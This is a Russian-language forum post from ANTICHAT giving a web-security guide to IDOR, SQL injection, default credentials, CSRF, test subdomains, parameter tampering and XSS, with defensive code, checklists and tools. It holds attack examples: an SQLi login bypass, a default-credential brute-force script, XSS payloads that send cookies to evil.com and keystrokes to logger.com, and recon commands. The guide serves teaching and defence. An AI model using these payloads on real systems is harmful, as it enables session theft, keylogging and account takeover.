HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.03.2025, 01:21
Sergei webware
Участник форума
Регистрация: 04.03.2015
Сообщений: 126
С нами: 5890890

Репутация: 0
По умолчанию

По данным OWASP 2024, более 67% веб-приложений содержат критические уязвимости, способные привести к утечке данных или полной компрометации системы. Ежегодные потери компаний от эксплуатации таких уязвимостей превышают $6 триллионов глобально. В этом руководстве мы разберем самые опасные уязвимости веб-приложений, которые встречаются в 2025 году, покажем реальные примеры эксплуатации и дадим конкретные рекомендации по защите.
Оглавление
  1. IDOR — прямые ссылки на объекты
  2. SQL Injection — инъекции в базы данных
  3. Дефолтные учетные данные
  4. CSRF — подделка межсайтовых запросов
  5. Открытые тестовые поддомены
  6. Небезопасная передача параметров
  7. XSS — межсайтовый скриптинг
  8. Таблица критичности уязвимостей
  9. Чек-лист проверки безопасности
  10. Инструменты для пентеста
  11. FAQ по безопасности
1. IDOR (Insecure Direct Object Reference) — критическая угроза персональным данным
Что такое IDOR уязвимость?
IDOR — это уязвимость, позволяющая получить несанкционированный доступ к объектам системы через прямые ссылки. В 2024 году IDOR занимает 4-е место в рейтинге OWASP Top 10, затрагивая 35% всех веб-приложений.
Реальный пример эксплуатации

HTTP:


Код:
GET /api/users/documents/123456.pdf HTTP/1.1
Host:
example.com
Authorization:
Bearer [user_token]
Простым изменением ID документа на
Код:
123457
,
Код:
123458
и т.д., атакующий получает доступ к документам всех пользователей системы.
Практический пример уязвимого кода (PHP):

PHP:


Код:
// ❌ Уязвимый код
$documentId
=
$_GET
[
'id'
]
;
$document
=
$db
-
>
query
(
"SELECT * FROM documents WHERE id = $documentId"
)
;
echo
json_encode
(
$document
)
;
// ✅ Безопасный код
$documentId
=
$_GET
[
'id'
]
;
$userId
=
$_SESSION
[
'user_id'
]
;
$document
=
$db
-
>
prepare
(
"SELECT * FROM documents WHERE id = ? AND user_id = ?"
)
;
$document
-
>
execute
(
[
$documentId
,
$userId
]
)
;
echo
json_encode
(
$document
-
>
fetch
(
)
)
;


Методы защиты от IDOR:
  1. Проверка прав доступа на уровне бизнес-логики
  2. Использование UUID вместо последовательных ID:
    Код:
    3fk5vsl329dthpo5yrd36iute4s
  3. Непрямые ссылки через хеш-таблицы
  4. Логирование всех попыток доступа к чувствительным данным
  5. Rate limiting для предотвращения массового перебора
Практика поиска IDOR: в гайде по Bug Bounty 2025 детально разбирается методология поиска IDOR в API и составление профессиональных отчетов с расчетом бизнес-рисков — must-read для начинающих баг-хантеров.
Инструменты для поиска IDOR:
  • Burp Suite с расширением Autorize
  • OWASP ZAP с активным сканированием
  • Param Miner для обнаружения скрытых параметров
2. SQL Injection — топовая угроза баз данных
Статистика и критичность
SQL-инъекции остаются в ТОП-3 самых опасных уязвимостей по версии OWASP. В 2024 году через SQL-инъекции было скомпрометировано более 3 миллионов записей персональных данных только в РФ.
Типы SQL инъекций:

ТипОписаниеКритичностьClassic SQLiПрямое внедрение SQL-кодаКритическаяBlind SQLiБез прямого вывода данныхВысокаяTime-based BlindИспользование временных задержекСредняяUnion-basedОбъединение запросовКритическаяError-basedЧерез сообщения об ошибкахВысокая

Пример эксплуатации:

SQL:


Код:
-- Уязвимый запрос
SELECT
*
FROM
users
WHERE
login
=
'$_POST[login]'
AND
password
=
'$_POST[password]'
-- Эксплуатация
login: admin
' OR '
1
'='
1
'--
password: любой
-- Результирующий запрос
SELECT * FROM users WHERE login = '
admin
' OR '
1
'='
1
'--'
AND
password
=
'любой'


Защита от SQL инъекций:

Python:


Код:
# ❌ Уязвимый код Python
query
=
f"SELECT * FROM users WHERE id ={user_id}"
cursor
.
execute
(
query
)
# ✅ Безопасный код с параметризованными запросами
query
=
"SELECT * FROM users WHERE id = %s"
cursor
.
execute
(
query
,
(
user_id
,
)
)
Рекомендации по защите:
  1. Параметризованные запросы (Prepared Statements)
  2. Хранимые процедуры с валидацией входных данных
  3. Экранирование спецсимволов как дополнительная мера
  4. Принцип наименьших привилегий для БД
  5. WAF (Web Application Firewall) с правилами для SQL
Безопасный PHP. Защита от SQL-Injection - практические примеры защиты
3. Дефолтные учетные данные — простейшая точка входа
Реальный кейс: Портал госуслуг
В ходе пентеста портала государственных услуг была обнаружена админ-панель со стандартными учетными данными
Код:
admin:admin
. Это давало доступ к:
  • Загрузке произвольных файлов
  • HTTP-методу DELETE
  • Множественным IDOR уязвимостям
  • Возможности изменения паролей других пользователей
Топ-10 опасных дефолтных учетных записей:

СервисЛогинПарольРискTomcattomcattomcatRCEWebLogicweblogicweblogic1RCEJenkinsadminadminCI/CD компрометацияphpMyAdminroot(пустой)Доступ к БДMongoDBadminadminNoSQL инъекции



Автоматизация поиска дефолтных паролей:

Python:


Код:
import
requests
from
concurrent
.
futures
import
ThreadPoolExecutor
default_creds
=
[
(
'admin'
,
'admin'
)
,
(
'administrator'
,
'password'
)
,
(
'root'
,
'root'
)
,
(
'test'
,
'test'
)
]
def
check_login
(
url
,
username
,
password
)
:
try
:
response
=
requests
.
post
(
f"{url}/login"
,
data
=
{
'username'
:
username
,
'password'
:
password
}
,
timeout
=
5
)
if
response
.
status_code
==
200
and
'dashboard'
in
response
.
text
:
print
(
f"[+] Valid:{username}:{password}"
)
return
True
except
:
pass
return
False
# Многопоточная проверка
with
ThreadPoolExecutor
(
max_workers
=
10
)
as
executor
:
futures
=
[
executor
.
submit
(
check_login
,
target_url
,
u
,
p
)
for
u
,
p
in
default_creds
]
4. CSRF — подделка межсайтовых запросов
Критичность в современных приложениях
CSRF атаки особенно опасны в системах с SMS-авторизацией и могут привести к:
  • SMS-флуду (финансовые потери)
  • Account Takeover (захват аккаунтов)
  • Несанкционированные транзакции
  • Изменение критических настроек
Пример эксплуатации CSRF в регистрации:

HTML:


Код:
// Автоматическая отправка формы каждые 5 секунд
    setInterval(() => {
        document.getElementById('csrf').submit();
    }, 5000);
Комплексная защита от CSRF:

JavaScript:


Код:
// Генерация CSRF-токена (Node.js + Express)
const
crypto
=
require
(
'crypto'
)
;
app
.
use
(
(
req, res, next
)
=>
{
if
(
!
req
.
session
.
csrfToken
)
{
req
.
session
.
csrfToken
=
crypto
.
randomBytes
(
32
)
.
toString
(
'hex'
)
;
}
res
.
locals
.
csrfToken
=
req
.
session
.
csrfToken
;
next
(
)
;
}
)
;
// Валидация токена
app
.
post
(
'/critical-action'
,
(
req, res
)
=>
{
if
(
req
.
body
.
csrf_token
!==
req
.
session
.
csrfToken
)
{
return
res
.
status
(
403
)
.
json
(
{
error
:
'Invalid CSRF token'
}
)
;
}
// Выполнение действия
}
)
;
Дополнительные меры защиты:
  1. Double Submit Cookie паттерн
  2. SameSite Cookie атрибут
  3. Проверка Referer/Origin заголовков
  4. CAPTCHA для критических операций
  5. Тайм-ауты между запросами (rate limiting)
5. Открытые тестовые поддомены — скрытая угроза
Статистика обнаружений
По данным исследования 2024 года, 73% компаний имеют незащищенные тестовые поддомены:
  • test.example.com
  • dev.example.com
  • staging.example.com
  • api-test.example.com


Автоматизированный поиск поддоменов:

Bash:


Код:
# Использование Sublist3r
python sublist3r.py -d example.com -o subdomains.txt
# Массовое сканирование с Amass
amass enum -passive -d example.com -o amass_results.txt
# Проверка DNS-записей
for
subdomain
in
$(cat subdomains.txt)
;
do
dig
+short
$subdomain
done
Типичные находки на тестовых поддоменах:

Тип файлаРискЧастота обнаружения.env файлыКритический45%SQL дампыКритический23%Конфиг файлыВысокий67%Логи с паролямиКритический31%Git репозиторииВысокий28%

Защита поддоменов:

NGINX:


Код:
# Nginx конфигурация для защиты тестового поддомена
server
{
listen
443
ssl
;
server_name
test
.
example
.
com
;
# IP-based restriction
allow
192.168
.1
.0
/
24
;
# Офисная сеть
deny
all
;
# Basic authentication
auth_basic
"Restricted Access"
;
auth_basic_user_file
/
etc
/
nginx
/
.
htpasswd
;
# Отключение индексации
add_header
X
-
Robots
-
Tag
"noindex, nofollow, noarchive"
;
}
6. Небезопасная передача параметров
Критический пример: изменение баланса
В одном из сервисов рассылки сообщений был обнаружен следующий POST-запрос:

HTTP:


Код:
POST /api/user/update HTTP/1.1
Content-Type:
application/json
{
    "username": "user123",
    "email": "user@example.com",
    "balance": 100.00,  // ← Критическая уязвимость!
    "role": "user"      // ← Повышение привилегий!
}


Эксплуатация для Stored XSS:

JavaScript:


Код:
// Изменение имени пользователя на XSS payload
{
"username"
:
"fetch('//evil.com/steal?c='+document.cookie)"
,
"balance"
:
999999
}
Безопасная реализация:

Python:


Код:
# Flask (Python) пример
from
flask
import
request
,
jsonify
from
functools
import
wraps
def
validate_user_update
(
f
)
:
@wraps
(
f
)
def
decorated_function
(
*
args
,
**
kwargs
)
:
allowed_fields
=
[
'username'
,
'email'
]
# Только разрешенные поля
# Фильтрация входных данных
filtered_data
=
{
k
:
v
for
k
,
v
in
request
.
json
.
items
(
)
if
k
in
allowed_fields
}
# XSS защита
for
field
in
filtered_data
:
filtered_data
[
field
]
=
escape_html
(
filtered_data
[
field
]
)
request
.
filtered_data
=
filtered_data
return
f
(
*
args
,
**
kwargs
)
return
decorated_function
@app.route
(
'/api/user/update'
,
methods
=
[
'POST'
]
)
@validate_user_update
@require_auth
def
update_user
(
)
:
# Используем только отфильтрованные данные
user
.
update
(
request
.
filtered_data
)
return
jsonify
(
{
'status'
:
'success'
}
)
7. XSS (Cross-Site Scripting) — универсальная угроза
Типы XSS атак в 2025:

ТипОписаниеПроцент от всех XSSReflected XSSОтраженный в ответе сервера35%Stored XSSСохраненный в БД45%DOM-based XSSВ клиентском JavaScript20%

Современные XSS payloads:

JavaScript:


Код:
// Обход фильтров 2025

// Кража JWT токенов

// Keylogger через XSS

document
.
onkeypress
=
function
(
e
)
{
fetch
(
'//logger.com/key?k='
+
e
.
key
)
;
}
Комплексная защита от XSS:

JavaScript:


Код:
// Content Security Policy (CSP)
app
.
use
(
(
req, res, next
)
=>
{
res
.
setHeader
(
"Content-Security-Policy"
,
"default-src 'self'; "
+
"script-src 'self' 'nonce-"
+
generateNonce
(
)
+
"'; "
+
"style-src 'self' 'unsafe-inline'; "
+
"img-src 'self' data: https:; "
+
"connect-src 'self'"
)
;
next
(
)
;
}
)
;
// Санитизация на клиенте (DOMPurify)
import
DOMPurify
from
'dompurify'
;
const
clean
=
DOMPurify
.
sanitize
(
dirty
,
{
ALLOWED_TAGS
:
[
'b'
,
'i'
,
'em'
,
'strong'
,
'a'
]
,
ALLOWED_ATTR
:
[
'href'
]
}
)
;
8. Таблица критичности уязвимостей

УязвимостьCVSS ScoreСложность эксплуатацииПотенциальный ущербЧастота в 2025SQL Injection9.8НизкаяКритический23%IDOR8.6НизкаяВысокий35%XSS7.5СредняяСредний45%CSRF6.8СредняяСредний18%Default Creds9.0Очень низкаяКритический31%Open Subdomains7.2НизкаяВысокий73%Parameter Tampering6.5СредняяСредний28%

9. Чек-лист проверки безопасности
Аутентификация и авторизация
  • [ ] Отсутствие дефолтных учетных данных
  • [ ] Сложность паролей минимум 12 символов
  • [ ] Двухфакторная аутентификация для админов
  • [ ] Блокировка после 5 неудачных попыток входа
  • [ ] Использование bcrypt/scrypt для хеширования паролей
Защита от инъекций
  • [ ] Параметризованные SQL запросы
  • [ ] Валидация всех входных данных
  • [ ] Экранирование специальных символов
  • [ ] WAF с актуальными правилами
  • [ ] Регулярные сканирования на SQLi
Защита от XSS
  • [ ] Content Security Policy настроен
  • [ ] Санитизация пользовательского ввода
  • [ ] HttpOnly флаг для cookies
  • [ ] X-XSS-Protection заголовок
Контроль доступа
  • [ ] Проверка прав на каждый запрос
  • [ ] UUID вместо инкрементных ID
  • [ ] Логирование всех критических операций
  • [ ] Rate limiting настроен
  • [ ] CORS правильно сконфигурирован
Инфраструктура
  • [ ] Тестовые поддомены закрыты
  • [ ] Отсутствие открытых портов
  • [ ] SSL/TLS последней версии
  • [ ] Регулярное обновление ПО
  • [ ] Резервное копирование
10. Инструменты для пентеста
Сканеры уязвимостей

ИнструментНазначениеЛицен зияOWASP ZAPКомплексное сканированиеOpen SourceBurp SuiteПрофессиональный пентестCommercial/CommunitySQLMapПоиск SQL инъекцийOpen SourceNiktoСканер веб-серверовOpen SourceNessusСканер инфраструктурыCommercial

Специализированные утилиты

Bash:


Код:
# Поиск поддоменов
sublist3r -d example.com -o subs.txt
amass enum -d example.com
dnsenum example.com
# Сканирование портов
nmap -sV -sC -O -p- example.com
masscan -p1-65535
192.168
.1.0/24 --rate
=
10000
# Поиск директорий
gobuster
dir
-u https://example.com -w /usr/share/wordlists/dirb/common.txt
ffuf -w wordlist.txt -u https://example.com/FUZZ
# Анализ JavaScript
LinkFinder -i https://example.com -o js_endpoints.txt
JSParser --url https://example.com
Методология тестирования: детальное руководство по фаззингу веб-приложений поможет систематизировать поиск IDOR и других логических уязвимостей через анализ параметров и заголовков.
Менеджеры паролей с открытым кодом
  1. Pass - минималистичный CLI менеджер
  2. Bitwarden - кроссплатформенный с синхронизацией
  3. KeePassXC - локальное хранилище
11. FAQ — частые вопросы по безопасности
Что такое IDOR уязвимость и как её найти?
IDOR (Insecure Direct Object Reference) — это уязвимость контроля доступа, когда приложение использует прямые ссылки на объекты без проверки прав. Найти можно через изменение ID в URL, параметрах запроса или теле POST-запроса. Используйте Burp Suite с расширением Autorize для автоматизации.
Как защититься от SQL injection в PHP?
Используйте PDO с подготовленными запросами:

PHP:


Код:
$stmt
=
$pdo
-
>
prepare
(
"SELECT * FROM users WHERE email = :email"
)
;
$stmt
-
>
execute
(
[
'email'
=
>
$email
]
)
;
Никогда не конкатенируйте переменные напрямую в SQL-запросы.
Какой сканер уязвимостей лучше для начинающих?
OWASP ZAP — бесплатный, с графическим интерфейсом и автоматическим режимом. Начните с него, затем переходите на Burp Suite Community Edition.
Что делать если нашел уязвимость на чужом сайте?
  1. Не эксплуатируйте находку
  2. Проверьте наличие Bug Bounty программы
  3. Свяжитесь с владельцем через security@domain.com
  4. Дайте время на исправление (обычно 90 дней)
  5. Только потом публикуйте (responsible disclosure)
Как часто нужно проводить пентест?
Минимум 2 раза в год для критической инфраструктуры. После каждого major релиза. При изменении архитектуры. Обязательно перед запуском в продакшн.
Можно ли полностью защититься от всех уязвимостей?
Нет, 100% защиты не существует. Цель — минимизировать риски через defense in depth (многоуровневую защиту), регулярные аудиты и обучение команды.
Какие уязвимости самые опасные в 2025?
По OWASP Top 10 (2024):
  1. Broken Access Control (включая IDOR)
  2. Cryptographic Failures
  3. Injection (SQL, NoSQL, LDAP)
Нужен ли WAF если код безопасный?
Да, WAF — это дополнительный уровень защиты. Он поможет при zero-day уязвимостях и ошибках разработчиков.
Как проверить сайт на XSS?
  1. Вручную: вставьте
    Код:
    alert(1)
    во все поля ввода
  2. Автоматически: используйте XSStrike или dalfox
  3. Проверьте reflected, stored и DOM-based векторы
Что важнее: пентест или код-ревью?
Оба критичны. Код-ревью находит логические ошибки, пентест — реальные векторы атак. Идеально проводить оба.
Заключение
Безопасность веб-приложений — это непрерывный процесс, требующий комплексного подхода. Регулярные пентесты, обновление компонентов, обучение команды и следование best practices помогут минимизировать риски.
Следующие шаги:
  1. Проведите аудит вашей инфраструктуры по чек-листу выше
  2. Настройте автоматическое сканирование уязвимостей
  3. Внедрите процесс Security Code Review
  4. Запустите Bug Bounty программу
Нужна профессиональная проверка безопасности? Обратитесь к сертифицированным специалистам для проведения комплексного пентеста вашей инфраструктуры.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.